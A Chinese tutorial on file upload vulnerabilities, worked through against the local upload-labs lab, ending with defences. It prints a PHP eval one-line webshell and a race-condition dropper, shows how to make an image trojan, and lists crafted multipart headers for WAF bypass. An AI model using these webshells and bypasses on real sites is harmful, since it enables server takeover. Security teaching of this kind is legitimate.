[漏洞篇]文件上传漏洞详解

[漏洞篇]文件上传漏洞详解

一、介绍

1. 概念

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传” 本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

2. 危害

  1. 代码执行:上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行。
  2. 病毒、木马自动运行:上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接自动运行;
  3. 控制flash:上传文件是Flash的策略文件 crossdomain.xml,黑客用以控制Flash在该域 下的行为(其他通过类似方式控制策略文件的情况类似);
  4. 脚本图片钓鱼:上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。 除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢 出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过"本地文件包含漏洞(Local File Include)"执行此脚本。

3. 原理

一些网站的文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在 进程服务器上执行任意PHP脚本。

当系统存在文件上传漏洞时,攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。

二、实战演示

1. 靶场搭建(docker)

本地需要有docker环境,如果没有可以直接安装docker或安装docker-desktop

  • linux搭建docker:https://blog.csdn.net/weixin_45565886/article/details/132396440
  • mac/windows安装下载docker-desktop,官网地址:https://www.docker.com/get-started/
# docker拉取镜像
docker pull cuer/upload-labs# 运行镜像
docker run -d -p 8081:80 cuer/upload-labs

浏览器输入:http://localhost:8081/ 访问靶场:
[图片]

2. 实战

Pass01:前端JS校验

我们来到第一关,进行尝试:

  1. 我们上传我们的php webshell发现被拦截
    php_info.php:

    <?php
    phpinfo();
    ?>
    

[图片]

  1. 我们发现这是一个前端弹窗事件,于是f12打开开发者工具
    [图片]

[图片]

  1. 因为这是在js校验,所以我们直接修改前端js,删除提交时的校验即可
    [图片]

最后效果:
[图片]

  1. 然后我们重新上传php脚本文件,发现上传成功
    [图片]

  2. 最后访问我们上传的脚本文件,观察是否可以正常执行
    http://localhost:8081/upload/php_info.php
    [图片]

发现可执行成功:
[图片]

除了这一种方法,还有一种就是我们可以通过Burpsuite抓包,等数据包通过前端js校验后,修改数据包中的文件后缀名:
在这里插入图片描述

Pass02:MIME-Type校验

一些后端开发人员会根据MIME-Type校验图片,比如:jpg图片的MIME-Type就是image/jpeg

  1. 我们来到第2关,上传文件并点击进行上传,发现页面提示类型错误
    [图片]

  2. 我们发现页面提示内容是由后端返回,表示文件校验逻辑是放在后端
    [图片]

  3. 联想到后端常用类型判断,我们尝试通过Burpsuite抓包修改MIME Type

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。
MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。比如jpg的MIME Type类型就是:image/jpeg

[图片]

  1. 发现成功绕过后端校验,并能触发脚本成功
    [图片]

Pass11:php后缀名过滤

  1. 来到第11关,我们选中本地的php_info.php,点击上传后发现,文件能上传成功,但文件名中包含的所有php都被替换为空了
    [图片]

  2. 此时我们首先考虑到的就是双写绕过,既然后端会替换php,那我们就采用双写进行绕过,php_info.pphphp文件名中将php字符替换为空之后,就变成了_info.php,成功实现绕过
    [图片]

[图片]

  1. 同时脚本也能正常执行
    [图片]

Pass12:文件重命名(00截断)

我们来到第12关发现,后端会将我们上传的文件进行另存(重命名),那我们可以利用这个规则,使用00截断。PS:我这里php版本过高,无法演示,所以贴了几张别人演示的结果。感兴趣的朋友下来可以自己尝试一下。

%00截断常在url中get请求使用,在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。所以一般文件上传绕过%00会在路径上使用。

  • 原理:http://xxx.com?filename=common_info.php%00.txt,这样我们实际后缀名是txt绕过前端后端检测,但因为%00会被认为结束,所以就最后就被另存为了common_info.php,后面的.txt就被舍弃
    0x开头表示16进制,0在十六进制中是00, 0x00就是%00解码成的16进制。其实和%00的原理没有太大区别,只是使用的方式不一样,这个0x00是手动修改为16进制变成的,通常通过bp修改,其实%00解码就是0x00,0x00通常在post请求使用。
  • 00截断使用条件:
    1、php版本小于5.3.29
    2、magic_quotes_gpc = Off(去php.ini修改就行)
  1. 比如下面是GET请求,我们通过%00实现绕过
    [图片]

  2. 这里访问的时候记得把9020231122143153.jpg去掉,因为成功上传的其实是23.php
    最后蚁剑连接成功。
    [图片]

Pass14:检测图片内容标识

除了上面提到的几种初级防御手段,有时候,后端服务也会解析文件内容,比如校验图片文件的头几个字节(SOI)是否满足条件,例如:标准jpg的头两个字节应该是:255216

文件头:FF D8
十进制:255 和 216
组合后的十进制值:255216

  1. 我们先从网上下载一个标准的jpeg图片
# 以16进制打开图片,观察是否满足要求
vim -b OIP-C.jpeg

在这里插入图片描述

  1. 下面准备php脚本

common_php.php

<?php
phpinfo();
?>
  1. 执行下面命令,制作图片木马
# windows命令
copy OIP-C.jpeg /b + common_php.php /a hack.jpg# mac命令
cat OIP-C.jpeg common_php.php > hack.jpg

查看效果:

vim -b hack.jpg

在这里插入图片描述

  1. 上传图片木马到服务器
    [图片]

上传文件之后访问图片,服务器无法解析执行其中的php代码,所以我们需要和其他漏洞联合起来,比如:文件包含漏洞等,或者通过其他方式将该文件进行重命名。此处便不再演示,将含有攻击的代码上传到服务器,这本身也是一个极其危险的事情。

文件上传结合一句话木马

上面的方式可能演示不出文件上传漏洞的危害,有些同学可能认为上传了对应的脚本对自己服务器也没什么影响。下面我们就将上面的脚本内容替换为一句话木马.

hack_php.php:

<?php @eval($_POST['admin']);?>
  1. 将包含木马的文件上传到服务器,连接密码为admin
  2. 访问文件,执行该木马文件
  3. 通过工具连接,攻占网站

工具可以使用中国蚁剑、菜刀等,这里以蚁剑为例:

  • 打开工具,添加链接
    在这里插入图片描述
  • 成功拿下网站控制权:可上传文件,建立shell等
    在这里插入图片描述

三、绕过手段

在上面实战中其实我们已经介绍了几种常见的绕过手段,下面主要给大家拓展其他绕过手段,权当补充。

基础绕过

1. 本地JS绕过

防御原理:通过前端JS来判断文件后缀名是否合法
绕过手段:

  • 方式一:禁用JS/删除前端JS脚本中的校验逻辑
  • 方式二:Burpsuite抓包,等前端校验完成之后,再把数据包中的文件后缀名由合法的改为.php

2. MIME绕过(Content-Type)

防御原理:后端服务会校验上传文件的Content-Type,比如校验上传文件的MIME-Type是否是image/jpeg,以此来判定是否是jpg图片
绕过手段:Burpsuite抓包,手动修改数据包中的Content-Type

3. 黑名单(后缀名)绕过

防御原理:服务器会校验文件后缀名来进行判断,如:后缀名包含.php的会被禁止上传
绕过手段:部分php可以解析.php2、.php3、.phtml等文件,我们可以将文件名修改为其中之一来进行肉狗

4. 大小写绕过

防御原理:后端校验文件名,但仅校验了小写php
绕过手段:windows对大小写不敏感,linux对大小写敏感,将文件后缀名改成大写PHP,成功上传。

5. 空格绕过

防御原理:后端校验文件名,但仅校验了php,没有校验php带空格的情况
绕过手段:windows等系统下,文件后缀加空格命名之后是默认自动删除空格。此时我们后缀名为.php空格,可以绕过后端校验,在windows系统下,文件名会自动删除末尾空格,就成了.php

6. 点绕过

防御原理:后端校验文件名,但仅校验了php,没有校验php带点的情况
绕过手段:同空格绕过原理一样,主要原因是windows等系统默认删除文件后缀的.和空格,可以实现在文件后缀添加个”.“成功绕过

7. 双写绕过

防御原理:后端将文件名中的php替换为空
绕过手段:后端仅替换了一次,可以采用双写绕过,上传文件后缀为pphphp的文件,发现上传成功,pphphp将其中的php替换为空后,剩下的刚好又组成了php,实现绕过

8. %00截断

使用限制:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态
(magic_quotes_gpc)函数的的底层实现是类似c语言,所以可以%00截断

防御原理:将原有文件进行另存重命名
绕过手段:文件另存路径后添加%00,如文件原本重命名为upload/123.php%00fa414124213421.jpg,绕过校验后,因底层c语言会将%00当做截断,文件最后被保留为upload/123.php

9. 图片木马

防御原理:比如检测图片SOI是否有特征值,是否满足图片特征
绕过手段:合法图片与脚本结合,通过图片木马,将恶意代码上传至服务器。但这种方式访问图片不会默认执行图片中的脚本,需要联合其他漏洞使用,如:文件包含漏洞。

# windows命令
copy OIP-C.jpeg /b + common_php.php /a hack.jpg# mac命令
cat OIP-C.jpeg common_php.php > hack.jpg

10. 竞争条件

防御原理:上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断,如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。
绕过手段:通过并发请求文件,赶在服务器删除文件之前执行脚本内容,创建新恶意代码。比如:我们上传的是1.php,1.php脚本作用就是在当前目录创建test.php,于是只要我们并发高,赶在服务器校验我们上传的文件(1.php)之前,执行1.php脚本内容,就可以实现绕过。

1.php脚本内容:

<?php 
$f= fopen ("test.php","w") ;
fputs ($f,'<?php phpinfo();?>');
?>

包含WAF的绕过

WAF防御原理:WAF检查上传文件的名称、内容

  1. 解析文件名,判断是否在黑名单内(.php、.phtml…)
  2. 文件内容:判断是否为 webshell 文件目录权限、请求的 url、Boundary 边界、MIME 文件类型。

目前,市面上常见的是解析文件名,少数 WAF 是解析文件内容,比如长亭

1. 填充垃圾数据绕过

有些主机 WAF 软件为了不影响web服务器的性能,会对校验的用户数据设置 大小上限,比如 1M。此种情况可以构造一个大文件,前面 1M 的内容为垃圾内 容,后面才是真正的木马内容,便可以绕过 WAF 对文件内容的校验;’ Content-Type 类型数据后添加垃圾数据:

Content-Type: image/jpega=11111111111111111111111111111111111111111111111111111111GIF89a<?php phpinfo(); ?>

当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验:

------WebKitFormBoundaryYijPw9QB0WlswSL2a=111111111111111111111111111111111111111111111111111111111111111111111               Content-Disposition: form-data; name="file_x"; filename="bk.jpg"Content-Type: image/jpeg

2. 文件扩展名出回车绕过(只支持 php)

文件扩展名进行回车绕过:

Content-Disposition: form-data; nAme="upfile"; filename="bk.php" Content-Type: image/jpeg

或者:

Content-Disposition: form-data; nAme="upfile"; filename="bk.php"Content-Type: image/jpeg

3. filename绕过

添加一个 finame 参数:

针对早期版本安全狗,可以多加一个 filename 在一个 Content-Disposition 中,存在多个 filename ,协议解析应该使用最 后的filename 值作为文件名。如果 WAF 解析到 filename="bk.jpg"认为解析 到文件名,结束解析,将导致被绕过。因为后端容器解析到的文件名是 bk.asp。

Content-Disposition: form-data; name="file1";
filename="bk.jpg";filename="bk.asp"

4. Content-Disposition 字段值大小写绕过

对这三个固定的字换:Content-Disposition,name,filename 比如 name 转换成 Name,Content-Disposition 转换成 content-disposition。

Content-Disposition: form-data; name=“upfile”; filename=“bk.php”
改成
Content-Disposition: form-data; nAme=“upfile”; filename=“bk.php”

5. 文件重命名绕过

如果 web 程序会将 filename 除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。

Content-Disposition: form-data;  name="  file1";
filename="bk....................................................................................................................
............................................................................................................asp"大概几百个点。

6. 删除 Content-Disposition 值的 form-data 绕过

有的 WAF 在解析的时候,认为 Content-Disposition 值一定是 form-data,造成绕过。
Content-Disposition: form-data; name=“file1”; filename= “bk.php”
改为:
Content-Disposition: name=“file1”; filename= “bk.php”

四、防御手段

1. 检查服务器PUT方法配置

检查服务器PUT方法是否配置不当。

虽然没有POST方法使用广泛,但是PUT方法却是向服务器上传文件最有效率的方法。POST上传文件时,我们通常需要将所有的信息组合成 multipart 传送过去,然后服务器再解码这些信息,解码过程则必不可少的会消耗内存和CPU资源,这种现象在上传大文件时尤其明显。而PUT方法则允许你通过与服务器建立的socket链接传递文件的内容,而不附带其他的信息。一旦我们服务器配置出现问题,极易产生严重的安全问题。

  • 这种方式极大程度上降低了攻击者的攻击成本
    感兴趣的同学可以去了解一下:Tomcat put方法任意文件上传漏洞(CVE-2017-12615)

2. 本地文件上传限制被绕过:

在服务器后端对上传的文件迚行过滤。

3. 设置文件上传目录为不可执行

只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。

4. 判断文件类型

在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者 resize 函数,在处理图片的同时破坏图片中可能包含的HTML代码。

5. 使用随机数改写文件名和文件路径

文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像 shell.php.rar.rar 和 crossdomain.xml 这种文件,都将因为重命名而无法攻击。

6. 单独设置文件服务器的域名

由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传 crossdomain.xml、上传包含 Javascript 的 XSS 利用等问题将得到解决。

7. 上传的文件尽量单独存放或与重要业务隔离开

尽量使用单独的服务器专门存放文件或放在docker中,这样即使服务器被攻破,也不会对其他业务资源造成大的损失

参考文章:
https://www.freebuf.com/vuls/279171.html
https://blog.csdn.net/aaron_miller/article/details/106143006
https://blog.csdn.net/qq_44632668/article/details/97818432

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/23178.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Grok 3与GPT-4.5的“智能天花板”争夺战——谁才是大模型时代的算力之王?

2025年2月18日&#xff0c;马斯克旗下 xAI 高调发布新一代大模型Grok 3&#xff0c;号称“地球上最聪明AI”&#xff0c;在数学推理、代码生成等核心能力上碾压 GPT-4o、DeepSeek-V3 等对手。而就在同一天&#xff0c;OpenAI创始人 Sam Altman 暗示 GPT-4.5 即将登场&#xff0…

ubuntu新系统使用指南

1. 更新源 2. 配置rime 输入法 sudo apt install ibus-rimeibus-setup #打开配置界面添加雾凇拼音 cd ~/Documents/Tool/input_source/plumgit clone --depth 1 https://github.com/rime/plum plum #没有梯子就劝退cd plum/bash rime-install iDvel/rime-ice:others/recipe…

C#贪心算法

贪心算法&#xff1a;生活与代码中的 “最优选择大师” 在生活里&#xff0c;我们常常面临各种选择&#xff0c;都希望能做出最有利的决策。比如在超市大促销时&#xff0c;面对琳琅满目的商品&#xff0c;你总想用有限的预算买到价值最高的东西。贪心算法&#xff0c;就像是一…

3、Kubernetes 集群部署 Prometheus 和 Grafana

Kubernetes 集群部署 Prometheus 和 Grafana node-exporter 安装Prometheus 安装和配置Prometheus 配置热加载Grafana 安装部署Grafana 配置 实验环境 控制节点/master01 192.168.110.10 工作节点/node01 192.168.110.20 工作节点/node02 192.168.110.30 node-exporter 安装 #…

MySQL中Binlog Redolog Undolog区别?

MySQL中Binlog Redolog Undolog区别 在学习MySQL数据库管理和优化的过程中&#xff0c;理解和区分Binlog&#xff08;二进制日志&#xff09;、RedoLog&#xff08;重做日志&#xff09;和UndoLog&#xff08;撤销日志&#xff09;是至关重要的。这三种日志在MySQL中扮演着不同…

C++中结构体与结构体变量 和 类与对象的区别

具体区别如下&#xff1a; 结构体 -> 结构体变量 { 结构体&#xff1a;struct student{ 具体是多少&#xff0c;年龄&#xff0c;名字&#xff0c;性别&#xff0c;成绩 } 结构体变量&#xff1a; stu{ 名字&#xff1a;张三&#xff0c;年龄&#xff1a;18&#…

小迪安全23-php后台模块

cookie技术 cookie就是身份验证表示&#xff0c;通过cookie好区分每个用户的个人数据和权限&#xff0c;第一次登陆之后正常的网站都会赋予一个cookie 写写一个后台界面&#xff0c;直接让ai去写就可以 然后自己需要的提交方式&#xff0c;和表单值自己修改即可 生成cookie的…

(面试经典问题之连接池篇)连接池构成、作用及其基本原理详解

一、什么是连接池 连接池一般指的是数据库连接池&#xff08;connection pooling&#xff09;&#xff0c;是指程序启动时建立足够的数据库连接&#xff0c;并将这些连接组成一个连接池&#xff0c;由程序动态的对池中的连接进行申请&#xff0c;使用&#xff0c;释放&#xf…

Java+SpringBoot+Vue+数据可视化的综合健身管理平台(程序+论文+讲解+安装+调试+售后)

感兴趣的可以先收藏起来&#xff0c;还有大家在毕设选题&#xff0c;项目以及论文编写等相关问题都可以给我留言咨询&#xff0c;我会一一回复&#xff0c;希望帮助更多的人。 系统介绍 在当今社会&#xff0c;随着人们生活水平的不断提高和健康意识的日益增强&#xff0c;健…

echarts找不到了?echarts社区最新地址

前言&#xff1a;在之前使用echarts的时候&#xff0c;还可以通过上边的导航栏找到echarts社区&#xff0c;但是如今的echarts变更之后&#xff0c;就找不到echarts社区了。 ✨✨✨这里是秋刀鱼不做梦的BLOG ✨✨✨想要了解更多内容可以访问我的主页秋刀鱼不做梦-CSDN博客 如今…

Jenkins 配置 Credentials 凭证

Jenkins 配置 Credentials 凭证 一、创建凭证 Dashboard -> Manage Jenkins -> Manage Credentials 在 Domain 列随便点击一个 (global) 二、添加 凭证 点击左侧 Add Credentials 四、填写凭证 Kind&#xff1a;凭证类型 Username with password&#xff1a; 配置 用…

【Nacos】从零开始启动Nacos服务(windows/linux)

文章目录 前言前置条件官方网址一、Nacos下载1.1 选择Nacos版本1.2 下载 二、解压2.1 解压到某个文件夹 三、 启动3.1 方式一&#xff1a;直接使用命令启动3.1.1 进入bin文件夹3.1.2 进入命令行工具3.1.3 执行命令 3.2 方式二&#xff1a;修改配置文件后启动3.2.1 修改启动脚本…

Microsoft 365 Copilot中使用人数最多的是哪些应用

今天在浏览Microsoft 365 admin center时发现&#xff0c;copilot会自动整理过去30天内所有用户使用copilot的概况&#xff1a; 直接把这个图丢给copilot让它去分析&#xff0c;结果如下&#xff1a; 总用户情况 总用户数在各应用中均为 561 人&#xff0c;说明此次统计的样本…

AI学习第一天-什么是AI

AI的发展可以被分为四次浪潮&#xff0c;这包括符号主义、机器学习与神经网络&#xff0c;以及深度学习。在这些发展中&#xff0c;深度学习凭借其在处理非结构化复杂数据、强大的学习能力和可解释性方面的优势备受关注。深度学习技术的应用不仅提升了AI系统的性能&#xff0c;…

计算机视觉:经典数据格式(VOC、YOLO、COCO)解析与转换(附代码)

第一章&#xff1a;计算机视觉中图像的基础认知 第二章&#xff1a;计算机视觉&#xff1a;卷积神经网络(CNN)基本概念(一) 第三章&#xff1a;计算机视觉&#xff1a;卷积神经网络(CNN)基本概念(二) 第四章&#xff1a;搭建一个经典的LeNet5神经网络(附代码) 第五章&#xff1…

解决本地模拟IP的DHCP冲突问题

解决 DHCP 冲突导致的多 IP 绑定失效问题 前言 续接上一篇在本机上模拟IP地址。 在实际操作中&#xff0c;如果本机原有 IP&#xff08;如 192.168.2.7&#xff09;是通过 DHCP 自动获取的&#xff0c;直接添加新 IP&#xff08;如 10.0.11.11&#xff09;可能会导致 DHCP 服…

安全生产月安全知识竞赛主持稿串词

女:尊敬的各位领导、各位来宾 男:各位参赛选手、观众朋友们 合:大家好&#xff5e; 女:安全是天&#xff0c;有了这一份天&#xff0c;我们的员工就会多一份幸福&#xff0c; 我们的企业就会多一丝光彩。 男:安全是地&#xff0c;有了这一片地&#xff0c;我们的员工就多了一…

JDBC学习

背景&#xff1a;主机正在运行mysql服务 在cmd输入 mysql -u root -p 之后&#xff0c;输入密码&#xff08;我的用户名是root&#xff0c;密码是root&#xff09;&#xff0c;成功登录到mysql。 输入&#xff1a;SHOW GLOBAL VARIABLES LIKE port; 检查mysql服务的端口号 …

前端js进阶,ES6语法,包详细

进阶ES6 作用域的概念加深对js理解 let、const申明的变量&#xff0c;在花括号中会生成块作用域&#xff0c;而var就不会生成块作用域 作用域链本质上就是底层的变量查找机制 作用域链查找的规则是:优先查找当前作用域先把的变量&#xff0c;再依次逐级找父级作用域直到全局…

IDEA通过Maven使用JBLJavaToWeb插件创建Web项目

第一步&#xff1a;IDEA下载JBLJavaToWeb插件 File--->Settings--->Plugins--->Marketplace搜索: JBLJavaToWeb 第二步&#xff1a;创建普通Maven工程 第三步&#xff1a; 将普通Maven项目转换为Web项目